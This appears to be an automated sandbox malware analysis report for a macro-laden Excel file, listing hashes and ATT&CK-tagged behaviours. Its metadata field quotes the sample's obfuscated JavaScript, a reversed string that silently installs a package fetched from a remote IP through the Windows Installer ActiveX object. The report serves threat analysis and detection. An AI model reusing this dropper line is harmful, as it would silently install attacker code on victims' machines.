Managed XDR

vtdl_1753881356_abhz9tp6 — malware analysis report

File info

Filename
vtdl_1753881356_abhz9tp6
File type
Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Title: eval('}**)**"**5**3**2**.**8**6**.**0**1**.**5**8**1**/**/**:**p**t**t**h**"**(**t**c**u**d**o**r**P**l**l**a**t**s**n**I**;**2**=**l**e**v**e**L**I**U**{**)**)**"**r**e**l**l**a**t**s**n**I**.**r**e**l**l**a**t**s**n**I**s**w**o**d**n**i**W**"**(**t**c**e**j**b**O**X**e**v**i**t**c**A** **w**e**n**(**h**t**i**w'.split('**').reverse().join('')), Author: Ferop, Last Saved By: Administrator, Name of Creating Application: Microsoft Excel, Create Time/Date: Tue Aug 17 12:24:08 2021, Last Saved Time/Date: Tue Oct 5 14:39:33 2021, Security: 0
File size
179.9 KB
First seen
Last seen

Environment

win7/x86 en

Hashes

SHA1
41061cdb68a75bc1a99e0331768a7c6713872e0a
SHA256
005e0fc4d07d9d607533bdc9c9e7814cd836605b18cf5ba0def302c27923f741
MD5
7e4d9c0409d0e29113cb5c7c5e2739b4

Signatures

Execution

T1064 office_macros: The document contains macroses (total: 2)
T1064 office_macros_autoexec: The document contains an auto-start macro

Privilege Escalation

T1134 opens_thread_token: Opens the access token associated with a thread
T1134 opens_process_token: Opens the access token associated with a process

Defense Evasion

T1497 windows_enumthread: Attempts to enumerate windows using EnumThreadWindows and SendMessage for text obtaining
T1064 office_macros: The document contains macroses (total: 2)
T1064 office_macros_autoexec: The document contains an auto-start macro
T1134 opens_thread_token: Opens the access token associated with a thread
T1134 opens_process_token: Opens the access token associated with a process

Discovery

T1497 windows_enumthread: Attempts to enumerate windows using EnumThreadWindows and SendMessage for text obtaining
T1082 windows_enumthread: Attempts to enumerate windows using EnumThreadWindows and SendMessage for text obtaining

Other

yara_rules: Static rules
office_summary: The document contains suspicious metadata
get_policy_info: Retrieves information about a Policy object
test_check_service: Starts services
antisandbox_check_graphics_card: Uses CreateDXGIFactory, potentially to detect graphics card
checktokenmembership: Checks user token with CheckTokenMembership call
Managed XDR